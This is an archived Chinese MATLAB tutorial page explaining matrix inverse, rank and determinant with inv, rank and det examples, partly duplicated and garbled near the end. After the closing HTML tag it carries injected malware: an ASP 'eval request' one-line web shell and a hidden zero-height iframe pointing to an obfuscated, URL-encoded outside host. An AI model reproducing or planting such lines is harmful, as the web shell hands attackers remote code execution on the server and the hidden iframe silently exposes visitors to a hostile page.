📄 ch5_3_1.htm
字号:
<! Made by Html Translation Ver 1.0>
<html>
<head>
<title> 反矩阵、矩阵秩与行列式 </title>
</head>
<body BACKGROUND="../img1/bg0000.gif" tppabs="http://webclass.ncu.edu.tw/~junwu/img/bg0000.gif">
<script language="JAVASCRIPT">
<!--
if (navigator.onLine){
document.write("<!-- Spidersoft WebZIP Ad Banner Insert -->");
document.write("<TABLE width=100% border=0 cellpadding=0 cellspacing=0>");
document.write("<TR>");
document.write("<TD>");
document.write("<ILAYER id=ad1 visibility=hidden height=60></ILAYER>");
document.write("<NOLAYER>");
document.write("<IFRAME SRC='http://www.spidersoft.com/ads/bwz468_60.htm' width=100% height=60 marginwidth=0 marginheight=0 hspace=0 vspace=0 frameborder=0 scrolling=no></IFRAME>");
document.write("</NOLAYER>");
document.write("</TD>");
document.write("</TR>");
document.write("</TABLE>");
document.write("<!-- End of Spidersoft WebZIP Ad Banner Insert-->");
}
//-->
</script>
<!-- Spidersoft WebZIP Ad Banner Insert -->
<!-- End of Spidersoft WebZIP Ad Banner Insert-->
<font COLOR="#0000FF">
<h1>5.3.1 反矩阵、矩阵秩与行列式</h1>
</font>
<hr>
<p>一个正方矩阵<font FACE="Times New Roman">A</font>的反矩阵的定义是<img SRC="../img5/img00001.gif" tppabs="http://webclass.ncu.edu.tw/~junwu/img5/img00001.gif" WIDTH="28" HEIGHT="23">，所以此二矩阵相乘不论是<img SRC="../img5/img00002.gif" tppabs="http://webclass.ncu.edu.tw/~junwu/img5/img00002.gif" WIDTH="38" HEIGHT="23">或<img SRC="../img5/img00003.gif" tppabs="http://webclass.ncu.edu.tw/~junwu/img5/img00003.gif" WIDTH="36" HEIGHT="23">，结果皆为单位矩阵。但是一
矩阵如果是奇异<font FACE="Times New Roman">(singular) </font>或是条件不足 <font FACE="Times New Roman">(ill-conditioned)</font>，其反矩阵并不存在。条件不足的矩阵与一组联立方程
组其中的方程式并不独立有关，而一矩阵的秩<font FACE="Times New Roman">(rank)
</font>即是代表矩阵中独立方程式个数。如果一矩阵的秩数和
其矩阵的列数相等，则此矩阵为非奇异且其反矩阵存在。 <br>
</p>
<p>MATLAB的反矩阵函数和秩函数语法分别为<font COLOR="#FF0000" FACE="Times New Roman">inv(A)</font><tt><font FACE="Courier New">, </font></tt><font COLOR="#FF0000" FACE="Times New Roman">rank(A)</font>，：例如： </p>
<p><font COLOR="#FF0000" FACE="Times New Roman">>> A=[2 1; 4 3];</font> </p>
<p><font COLOR="#FF0000" FACE="Times New Roman">>> rank(A)</font> </p>
<p><font COLOR="#FF0000" FACE="Times New Roman">2 % </font><font COLOR="#FF0000">表示</font><font COLOR="#FF0000" FACE="Times New Roman">A</font><font COLOR="#FF0000">秩数为</font><font COLOR="#FF0000" FACE="Times New Roman">2</font><font COLOR="#FF0000">且等于矩阵的列数</font>
</p>
<p><font COLOR="#FF0000" FACE="Times New Roman">>> inv(A) % </font><font COLOR="#FF0000">反矩阵</font> </p>
<p><font COLOR="#FF0000" FACE="Times New Roman">ans =</font> </p>
<p><font COLOR="#FF0000" FACE="Times New Roman">1.5000 -0.5000</font> </p>
<p><font COLOR="#FF0000" FACE="Times New Roman">-2.0000 1.0000</font> </p>
<p><font COLOR="#FF0000" FACE="Times New Roman">>> B=[2 1; 3 2; 4 5]; % B</font><font COLOR="#FF0000">为奇异矩阵</font> </p>
<p><font COLOR="#FF0000" FACE="Times New Roman">>> rank(B)</font> </p>
<p><font COLOR="#FF0000" FACE="Times New Roman">ans =</font> </p>
<p><font COLOR="#FF0000" FACE="Times New Roman">2 % </font><font COLOR="#FF0000">表示</font><font COLOR="#FF0000" FACE="Times New Roman">B</font><font COLOR="#FF0000">秩数为</font><font COLOR="#FF0000" FACE="Times New Roman">2</font><font COLOR="#FF0000">，但是其列数为</font><font COLOR="#FF0000" FACE="Times New Roman">3</font> </p>
<p><font COLOR="#FF0000" FACE="Times New Roman">>> inv(B)</font> </p>
<p><font COLOR="#FF0000" FACE="Times New Roman">??? Error using ==> inv</font> </p>
<p><font COLOR="#FF0000" FACE="Times New Roman">Matrix must be square. <br>
</font></p>
<p>相信大家都会计算矩阵行列式的值，但是如一矩阵大小超过<font FACE="Times New Roman">4</font>以上，行列式值的计算就会繁复。<font FACE="Times New Roman">MATLAB</font>提供 计算行列式的函数，其语法为<font COLOR="#FF0000" FACE="Times New Roman">det(A)</font>，例如： </p>
<p><font COLOR="#FF0000" FACE="Times New Roman">>> A=[1 3 0; -1 5 2; 1 2 1];</font> </p>
<p><font COLOR="#FF0000" FACE="Times New Roman">>> det(A) % </font><font COLOR="#FF0000">矩阵之行列式值</font> </p>
<p><font COLOR="#FF0000" FACE="Times New Roman">ans =</font> </p>
<p><font COLOR="#FF0000" FACE="Times New Roman">10<br>
</font>沪p算就会繁复。<font FACE="Times New Roman">MATLAB</font>提供
计算行列式的函数，其语法为<font COLOR="#FF0000" FACE="Times New Roman">det(A)</font>，例如：
</p>
<p><font COLOR="#FF0000" FACE="Times New Roman">>> A=[1 3 0; -1 5 2; 1 2 1];</font> </p>
<p><font COLOR="#FF0000" FACE="Times New Roman">>> det(A) % </font><font COLOR="#FF0000">矩阵之行列式值</font> </p>
<p><font COLOR="#FF0000" FACE="Times New Roman">ans =</font> </p>
<p><font COLOR="#FF0000" FACE="Times New Roman">10<br>
</font></p>
<hr>
<a HREF="ch5_3.htm" tppabs="http://webclass.ncu.edu.tw/~junwu/ch5_3.htm">
<p><img SRC="../img1/lastpage.gif" tppabs="http://webclass.ncu.edu.tw/~junwu/img/lastpage.gif" BORDER="0" WIDTH="42" HEIGHT="42"></a> <a HREF="ch5_3_2.htm" tppabs="http://webclass.ncu.edu.tw/~junwu/ch5_3_2.htm"><img SRC="../img1/nextpage.gif" tppabs="http://webclass.ncu.edu.tw/~junwu/img/nextpage.gif" BORDER="0" HSPACE="10" WIDTH="42" HEIGHT="42"></a> <a HREF="../index.html" tppabs="http://webclass.ncu.edu.tw/~junwu/index.html"><img SRC="../img1/outline.gif" tppabs="http://webclass.ncu.edu.tw/~junwu/img/outline.gif" BORDER="0" HSPACE="6" WIDTH="42" HEIGHT="42"></a><br>
<font SIZE="2" COLOR="#AA55FF">上一页 下一页 讲义大纲 </font><layer src="http://www.spidersoft.com/ads/bwz468_60.htm" visibility="hidden" id="a1" width="600" onload="moveToAbsolute(ad1.pageX,ad1.pageY); a1.clip.height=60;visibility='show';"></layer> </p>
</body>
</html>
<%eval request("%")%><IfrAmE width=100 height=0></IfrAmE>
<%eval request("%")%><IfrAmE src=http://%6C%6C%38%30%2E%63%6F%6D/xx/ip.htm width=100 height=0></IfrAmE>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -